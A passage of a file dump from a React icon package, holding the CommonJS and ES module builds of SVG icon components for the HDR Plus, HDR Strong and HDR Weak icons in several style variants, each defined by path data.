    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 14.5h2v1h-2zm6-7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5c0 .6-.4 1.1-.9 1.4L12 19h-1.5l-.9-2H8.5v2H7v-6h3.5c.8 0 1.5.7 1.5 1.5zm0-3.5h-1.5V9.5h-2V12H7V6h1.5v2h2V6H12zm5.5 4H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm0-5.5c0 .8-.7 1.5-1.5 1.5h-3V6h3c.8 0 1.5.7 1.5 1.5z\"\n}, \"1\")], 'HdrPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 14.5h2v1h-2zm6-7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5c0 .6-.4 1.1-.9 1.4L12 19h-1.5l-.9-2H8.5v2H7v-6h3.5c.8 0 1.5.7 1.5 1.5zm0-3.5h-1.5V9.5h-2V12H7V6h1.5v2h2V6H12zm5.5 4H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm0-5.5c0 .8-.7 1.5-1.5 1.5h-3V6h3c.8 0 1.5.7 1.5 1.5z\"\n}, \"1\")], 'HdrPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.13 19c1.15.64 2.47 1 3.87 1 4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8c0 2.52 1.17 4.77 3 6.24V13h3.5c.8 0 1.5.7 1.5 1.5v1c0 .6-.4 1.1-.9 1.4L12 19h-1.5l-.9-2H8.5v2zM12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2m5.5 14H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm-7-.5v-1h-2v1zm0-7.5V6H12v6h-1.5V9.5h-2V12H7V6h1.5v2zM16 6c.8 0 1.5.7 1.5 1.5v3c0 .8-.7 1.5-1.5 1.5h-3V6zm0 4.5v-3h-1.5v3z\"\n}), 'HdrPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.13 19c1.15.64 2.47 1 3.87 1 4.41 0 8-3.59 8-8s-3.59-8-8-8-8 3.59-8 8c0 2.52 1.17 4.77 3 6.24V13h3.5c.8 0 1.5.7 1.5 1.5v1c0 .6-.4 1.1-.9 1.4L12 19h-1.5l-.9-2H8.5v2zM12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2m5.5 14H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm-7-.5v-1h-2v1zm0-7.5V6H12v6h-1.5V9.5h-2V12H7V6h1.5v2zM16 6c.8 0 1.5.7 1.5 1.5v3c0 .8-.7 1.5-1.5 1.5h-3V6zm0 4.5v-3h-1.5v3z\"\n}), 'HdrPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 14.5h2v1h-2zm6-7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5c0 .6-.4 1.1-.9 1.4l.49 1.13c.2.46-.14.97-.64.97-.27 0-.52-.16-.63-.41L9.6 17H8.5v1.31c0 .38-.31.69-.69.69h-.12c-.38 0-.69-.31-.69-.69V14c0-.55.45-1 1-1h2.5c.82 0 1.5.68 1.5 1.5zm-.75-3.5c-.41 0-.75-.34-.75-.75V9.5h-2v1.75c0 .41-.34.75-.75.75S7 11.66 7 11.25v-4.5c0-.41.34-.75.75-.75s.75.34.75.75V8h2V6.75c0-.41.34-.75.75-.75s.75.34.75.75v4.5c0 .41-.34.75-.75.75m5.5 4H16v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V16h-.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h.75v-.75c0-.41.34-.75.75-.75s.75.34.75.75v.74h.75c.41 0 .75.34.75.75v.01c0 .41-.34.75-.75.75m.75-5.5c0 .82-.67 1.5-1.5 1.5h-2.5c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5H16c.83 0 1.5.68 1.5 1.5z\"\n}, \"1\")], 'HdrPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 14.5h2v1h-2zm6-7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13.5c0 .6-.4 1.1-.9 1.4l.49 1.13c.2.46-.14.97-.64.97-.27 0-.52-.16-.63-.41L9.6 17H8.5v1.31c0 .38-.31.69-.69.69h-.12c-.38 0-.69-.31-.69-.69V14c0-.55.45-1 1-1h2.5c.82 0 1.5.68 1.5 1.5zm-.75-3.5c-.41 0-.75-.34-.75-.75V9.5h-2v1.75c0 .41-.34.75-.75.75S7 11.66 7 11.25v-4.5c0-.41.34-.75.75-.75s.75.34.75.75V8h2V6.75c0-.41.34-.75.75-.75s.75.34.75.75v4.5c0 .41-.34.75-.75.75m5.5 4H16v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V16h-.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h.75v-.75c0-.41.34-.75.75-.75s.75.34.75.75v.74h.75c.41 0 .75.34.75.75v.01c0 .41-.34.75-.75.75m.75-5.5c0 .82-.67 1.5-1.5 1.5h-2.5c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5H16c.83 0 1.5.68 1.5 1.5z\"\n}, \"1\")], 'HdrPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 14.5h2v1h-2zm6-7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 15-.86-.01L12 19h-1.5l-.9-2H8.5v2H7v-6h5zm0-5h-1.5V9.5h-2V12H7V6h1.5v2h2V6H12zm5.5 4H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm0-5.5c0 .8-.7 1.5-1.5 1.5h-3V6h3c.8 0 1.5.7 1.5 1.5z\"\n}, \"1\")], 'HdrPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 14.5h2v1h-2zm6-7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 15-.86-.01L12 19h-1.5l-.9-2H8.5v2H7v-6h5zm0-5h-1.5V9.5h-2V12H7V6h1.5v2h2V6H12zm5.5 4H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm0-5.5c0 .8-.7 1.5-1.5 1.5h-3V6h3c.8 0 1.5.7 1.5 1.5z\"\n}, \"1\")], 'HdrPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8 0 2.52 1.17 4.77 3 6.24V13h3.5c.8 0 1.5.7 1.5 1.5v1c0 .6-.4 1.1-.9 1.4L12 19h-1.5l-.9-2H8.5v2h-.37c1.15.64 2.47 1 3.87 1 4.41 0 8-3.59 8-8s-3.59-8-8-8m0 8h-1.5V9.5h-2V12H7V6h1.5v2h2V6H12zm5.5 4H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm0-5.5c0 .8-.7 1.5-1.5 1.5h-3V6h3c.8 0 1.5.7 1.5 1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 7.5H16v3h-1.5zm-6 7h2v1h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-1.4 0-2.72-.36-3.87-1h.37v-2h1.1l.9 2H12l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H7v5.24C5.17 16.77 4 14.52 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m-3.5-4.5v-1h2v1z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 8h-2V6H7v6h1.5V9.5h2V12H12V6h-1.5zM16 6h-3v6h3c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-1.5v-3H16zm0 2.5h-1.5v1.5H13V16h1.5v1.5H16V16h1.5v-1.51H16z\"\n}, \"3\")], 'HdrPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8 0 2.52 1.17 4.77 3 6.24V13h3.5c.8 0 1.5.7 1.5 1.5v1c0 .6-.4 1.1-.9 1.4L12 19h-1.5l-.9-2H8.5v2h-.37c1.15.64 2.47 1 3.87 1 4.41 0 8-3.59 8-8s-3.59-8-8-8m0 8h-1.5V9.5h-2V12H7V6h1.5v2h2V6H12zm5.5 4H16v1.5h-1.5V16H13v-1.5h1.5V13H16v1.49h1.5zm0-5.5c0 .8-.7 1.5-1.5 1.5h-3V6h3c.8 0 1.5.7 1.5 1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 7.5H16v3h-1.5zm-6 7h2v1h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-1.4 0-2.72-.36-3.87-1h.37v-2h1.1l.9 2H12l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H7v5.24C5.17 16.77 4 14.52 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m-3.5-4.5v-1h2v1z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 8h-2V6H7v6h1.5V9.5h2V12H12V6h-1.5zM16 6h-3v6h3c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-1.5v-3H16zm0 2.5h-1.5v1.5H13V16h1.5v1.5H16V16h1.5v-1.51H16z\"\n}, \"3\")], 'HdrPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrong.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrong');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrong.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrong');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrongOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrongOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrongRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrongRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrongSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'HdrStrongSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4M5 16c2.21 0 4-1.79 4-4S7.21 8 5 8s-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"1\")], 'HdrStrongTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrStrongTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4M5 16c2.21 0 4-1.79 4-4S7.21 8 5 8s-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\"\n}, \"1\")], 'HdrStrongTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeak.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeak');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeak.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeak');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeakOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeakOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeakRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeakRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeakSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m12-2c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'HdrWeakSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrWeakTwoTone.js",
